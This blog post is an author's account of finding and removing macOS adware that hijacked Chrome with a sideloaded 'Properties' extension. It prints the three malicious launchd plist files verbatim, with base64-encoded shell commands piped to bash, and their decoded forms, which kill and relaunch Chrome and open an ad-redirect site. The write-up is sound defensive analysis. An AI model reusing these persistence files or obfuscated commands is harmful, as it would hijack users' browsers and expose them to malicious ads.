Blog

Some interesting malware I found

Update 6/28/22: a reader reached out to me and let me know that Malwarebytes now detects and removes this malware as Adware.Choprex and OSX.Generic.Suspicious - so if you're reading this because you are affected, go download Malwarebytes and run a full scan. Thanks Yegor!

I recently found some interesting malware on my partner's computer, a Macbook, and removed it (I think).

Observed behavior

When you first opened a new instance of Google Chrome, after a delay of a few seconds, sometimes more, it would close itself and re-open to the same set of tabs. In this new window, searches from the omnibox would use Bing as the search engine instead of the default Google.

On closer look, the newly opened browser would have a new extension. It was called "Properties" and looked incredibly generic, trying to masquerade as a part of the browser itself. Normally, you can disable extensions from the Extensions settings (chrome://extensions). But this extension would programmatically close chrome://extensions and open chrome://settings in a new tab - so you couldn't disable it in the normal way.

Besides that, periodically a new browser would open to the malicious site hxxps[://]ationwindon.com/?tid=TID&optid=OPTID&cook=COOK&agec=UNIXTIMESTAMP , which redirected through a bunch of ads to some random website (I wouldn't try fixing this link to visit it, personally). I don't know what TID, OPTID, or COOK were, but agec was a Unix timestamp of a recent time, probably when the malware was installed.

Investigation and removal

It's been a very long time since I've dealt with malware [footnote 1], so I reached for the tried-and-true Malwarebytes. I ran a full scan and didn't find anything! That really piqued my interest.

I tried launching Chrome with logging, which led to these cryptic loglines when the first instance was killed.

$ /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --enable-logging --v=1
[66691:259:0327/220315.708306:ERROR:command_buffer_proxy_impl.cc(328)] GPU state invalid after WaitForGetOffsetInRange.
[66691:259:0327/220315.726434:ERROR:gpu_process_host.cc(972)] GPU process exited unexpectedly: exit_code=15
[66723:259:0327/220315.878644:ERROR:mach_port_rendezvous.cc(310)] bootstrap_look_up com.google.Chrome.MachPortRendezvousServer.1: Permission denied (1100)
[66723:259:0327/220316.092266:ERROR:child_thread_impl.cc(226)] Mach rendezvous failed, terminating process (parent died?)

The new instance, of course, was started without logging, so this gave me no insight into what it was doing.

We spent some more time flailing around doing things that did not work, and eventually just reset the Chrome settings entirely, which disables all extensions on restart. On opening a new window, something still closed the browser and re-opened a new instance, but since extensions were disabled, we could now go to chrome://extensions and take a closer look at the malicious extension.

Looking at the extension details, I could see it was installed locally from /private/var/tmp/95EE66A0-1E4F-43D0-85B6-C721950DE325. In my excitement, I immediately deleted it (with rm), so... I don't have any idea what actually went into it. But after the malicious "Properties" extension was removed, we stopped seeing Bing redirects and were once again able to open chrome://extensions normally. I tried searching for the filepath /private/var/tmp/95EE66A0-1E4F-43D0-85B6-C721950DE325 (using grep), and didn't find any references to it anywhere. Victory! At least, until the ad site opened again.

I was stumped here, until our friend Ishraq suggested it might be something like an Automator or Shortcuts script. It turned out to be neither of those things, but investigating them led us to this StackOverflow question which pointed us to the launchd directories. Poking around in ~/Library/LaunchAgents turned up plist files that looked related to Google Chrome.

com.chrome.extension.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>RunAtLoad</key>
    <true/>
    <key>StartInterval</key>
    <integer>31</integer>
    <key>Label</key>
    <string>com.chrome.extension</string>
    <key>ProgramArguments</key>
    <array>
        <string>sh</string>
        <string>-c</string>
        <string>echo aWYgcHMgYXggfCBncmVwIC12IGdyZXAgfCBncmVwICdHb29nbGUgQ2hyb21lJyAmPiAvZGV2L251bGw7IHRoZW4gZWNobyBydW5uaW5nOyAgRVhURU5TSU9OX1NFUlZJQ0U9J0dvb2dsZSBDaHJvbWUgLS1sb2FkLWV4dGVuc2lvbic7IGlmIHBzIGF4IHwgZ3JlcCAtdiBncmVwIHwgZ3JlcCAnR29vZ2xlIENocm9tZSAtLWxvYWQtZXh0ZW5zaW9uJyAmPiAvZGV2L251bGw7IHRoZW4gZWNobyBlIHJ1bm5pbmc7IGVsc2UgICBwa2lsbCAtYSAtaSAnR29vZ2xlIENocm9tZSc7IHNsZWVwIDEgOyAgb3BlbiAtYSAnR29vZ2xlIENocm9tZScgLS1hcmdzIC0tbG9hZC1leHRlbnNpb249Jy9wcml2YXRlL3Zhci90bXAvOTVFRTY2QTAtMUU0Ri00M0QwLTg1QjYtQzcyMTk1MERFMzI1JyAtLXJlc3RvcmUtbGFzdC1zZXNzaW9uIC0tbm9lcnJkaWFsb2dzIC0tZGlzYWJsZS1zZXNzaW9uLWNyYXNoZWQtYnViYmxlOyBmaTsgIGVsc2UgZWNobyBub3QgcnVubmluZzsgZmk= | base64 --decode | bash</string>
    </array>
</dict>
</plist>

That's an awfully suspicious command here, using sh -c to pipe a base64-encoded string into bash. As you'll see, this obfuscation prevented me from finding this file using grep. Here's the output of echo aWY... | base64 --decode, with a little more formatting:

if ps ax | grep -v grep | grep 'Google Chrome' &> /dev/null;
then
    echo running;
    EXTENSION_SERVICE='Google Chrome --load-extension';
    if ps ax | grep -v grep | grep 'Google Chrome --load-extension' &> /dev/null;
    then
        echo e running;
    else
        pkill -a -i 'Google Chrome';
        sleep 1 ;
        open -a 'Google Chrome' --args  \
            --load-extension='/private/var/tmp/95EE66A0-1E4F-43D0-85B6-C721950DE325'  \
            --restore-last-session  \
            --noerrdialogs  \
            --disable-session-crashed-bubble;
    fi;
else
    echo not running;
fi

This code explains the behavior we see around Chrome mysteriously closing and reopening. If Google Chrome is running, this script checks to see if it was started with the --load-extension option; if it wasn't, then it kills the currently running browser instances (with pkill -a -i [footnote 2]) and starts a new one with the malicious extension, with no error dialogs or session crashed prompts. The SystemAgent runs with a StartInterval of 31 seconds, which explains why there wasn't a consistent timing between opening Chrome and Chrome being restarted with the malicious extension: it wasn't triggered by starting Chrome at all, but rather by a periodic check.

The next file, com.chrome.extensions.plist (with the extra "s"), was largely the same, with nothing new in it, so I'll skip it here. If you're interested, see [footnote 3] for the details.

And the third file, com.chrome.extensionsPop.plist, looked like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>StartInterval</key>
  <integer>3600</integer>
  <key>Label</key>
  <string>com.chrome.extensionsPop</string>
  <key>ProgramArguments</key>
  <array>
    <string>sh</string>
    <string>-c</string>
    <string>echo b3BlbiAtbmEgJ0dvb2dsZSBDaHJvbWUnIC0tYXJncyAtbG9hZC1leHRlbnNpb249Jy9wcml2YXRlL3Zhci90bXAvOTVFRTY2QTAtMUU0Ri00M0QwLTg1QjYtQzcyMTk1MERFMzI1JyAtLW5ldy13aW5kb3cgJ2h0dHBzOi8vYXRpb253aW5kb24uY29tLz90aWQ9OTQ5MTE1Jm9wdGlkPTc4NzQzMiZjb29rPTQ4NTA0OTAyMzI3NzE3OTY5MTkmYWdlYz0xNjQ3OTc4NTQwJzs= | base64 --decode | bash</string>
  </array>
</dict>
</plist>

Decoding the string resulted in this output (with some of the query parameters in the url removed):

open -na 'Google Chrome' --args  \
    -load-extension='/private/var/tmp/95EE66A0-1E4F-43D0-85B6-C721950DE325'  \
    --new-window 'https://ationwindon.com/?tid=WWWWWW&optid=XXXXXX&cook=YYYYYYYYYYYYYYYYYYY&agec=ZZZZZZZZZZ';

This final piece explains the behavior we saw opening the random redirect website, which turns out to run once per hour. Nice!

Having learned my lesson from deleting the extension source code too soon, I made a copy of the code for later reference, and then deleted all three of the malicious plist files. I opened a new Chrome instance and re-declared victory... for a few seconds, but not more than 31 seconds, when it closed and re-launched Chrome again. It was more-or-less a regular Chrome since we had deleted the extension from that filepath already, but it just felt so dirty.

Of course, deleting a file generally just unlinks, which removes its pathname from the filesystem, but does not necessarily delete all existing references to it. I could still see the com.chrome.extension*.plist jobs in the output of launchctl list even after the associated files had been rmed. The last cleanup step was to run launchctl unload with each of those three jobs, which stops the jobs and unloads their configuration.

Finally, we were actually done. No signs of malware since.

Edit: though, that doesn't mean that the laptop is fully clean. It's entirely possible that we only removed the obvious traces, and there are still other nefarious things that have not yet made themselves known yet - wiping the machine entirely and restoring from backups would be safer. Thanks to horsawlarway and other commenters on the Hacker News post for pointing this out.

Learnings

I learned about a few cool things while getting rid of this malware:

  • Malware targets Macs these days
  • A Chrome extension can basically deny the "normal" uninstallation route by preventing you from getting to chrome://extensions (and presumably about://addons for Firefox, etc.)
  • launchd exists and can be used in a cron-like way by writing plist XML files

[footnote 4]

I took some time to submit the plist files from this post to Malwarebytes in the hopes that it might help some other people who have been infected. There's no update from their end yet, but that was just earlier today. [footnote 5]

And as the last step after removing the malware, I took the opportunity to install uBlock Origin on my partner's computer. I'm sympathetic to website operators who want to support their free sites using ads, but these ads are often malicious, leading to installers for malware like the one described in this post. She's no digital dummy, and still, in a moment of inattention, was able to click on an ad and do the wrong thing; we were lucky to notice and remove it before it could harvest valuable data like banking credentials [footnote 6]. Going forward, it's better to remove that attack vector entirely.


Footnotes

[footnote 1] (back to content)

That's the perk of running Linux on your personal laptop, no one bothers writing malware to target you. The flip side is that no one bothers writing drivers either.


[footnote 2] (back to content)

That this was just pkill -a -i was a little surprising to me - I briefly speculated that maybe I didn't get any useful logs from Google\ Chrome.app --enable-logging because the process had been SIGKILLed, but pkill sends SIGTERM by default, which means that the application had the opportunity to log a message before terminating. I guess Chrome just doesn't log that (not that I bothered to check).


[footnote 3] (back to content)

com.chrome.extensions.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>StartInterval</key>
    <integer>21600</integer>
    <key>Label</key>
    <string>com.chrome.extensions</string>
    <key>ProgramArguments</key>
    <array>
        <string>sh</string>
        <string>-c</string>
        <string>echo cGtpbGwgLWEgLWkgJ0dvb2dsZSBDaHJvbWUnOyBzbGVlcCAxIDsgIG9wZW4gLWEgJ0dvb2dsZSBDaHJvbWUnIC0tYXJncyAtLWxvYWQtZXh0ZW5zaW9uPScvcHJpdmF0ZS92YXIvdG1wLzk1RUU2NkEwLTFFNEYtNDNEMC04NUI2LUM3MjE5NTBERTMyNScgLS1yZXN0b3JlLWxhc3Qtc2Vzc2lvbiAtLW5vZXJyZGlhbG9ncyAtLWRpc2FibGUtc2Vzc2lvbi1jcmFzaGVkLWJ1YmJsZTs= | base64 --decode | bash</string>
    </array>
</dict>
</plist>

This obfuscated string decodes out to the following:

pkill -a -i 'Google Chrome';
sleep 1 ;
open -a 'Google Chrome' --args  \
  --load-extension='/private/var/tmp/95EE66A0-1E4F-43D0-85B6-C721950DE325'  \
  --restore-last-session  \
  --noerrdialogs  \
  --disable-session-crashed-bubble;

That's exactly the same as the innermost block from the first plist, but this one runs every 6 hours (21600 seconds) - even if Chrome isn't running or installed.

Honestly, I'm pretty confused about why this is here. The first script seems like a more sophisticated version of this, that only runs when it needs to. So maybe this second script was a draft or proof-of-concept that was never cleaned up... but that doesn't make sense if it only runs every 6 hours.


[footnote 4] (back to content)

While following up on some details for this blog post, I came across someone else who had the same issue, and actually posted the installation script on StackOverflow. I didn't find this script on my partner's computer, which makes me slightly nervous.

The script also shows that the string 95EE66A0-1E4F-43D0-85B6-C721950DE325 is just a random UUID, so it isn't meaningful on its own, and other victims would not see the same string.


[footnote 5] (back to content)

That was more annoying that expected, by the way. You can only submit suspected malware through their forum, so I had to first create an account. While creating the account, I failed the "security check" twice on questions that I definitely had the correct answer to. Then the third time, I also had to fill out a reCAPTCHA and click on traffic lights. Only then did I get the ability to write a quick summary and upload the plist files. It would be nice if this process were easier to get into.


[footnote 6] (back to content)

Our friend Adolfo points out that browser extension malware these days will often check for MetaMask or other crypto wallets to instantly drain them. Luckily, we are also immune to this attack by not owning any cryptocurrency.

life, codeBobbie Chen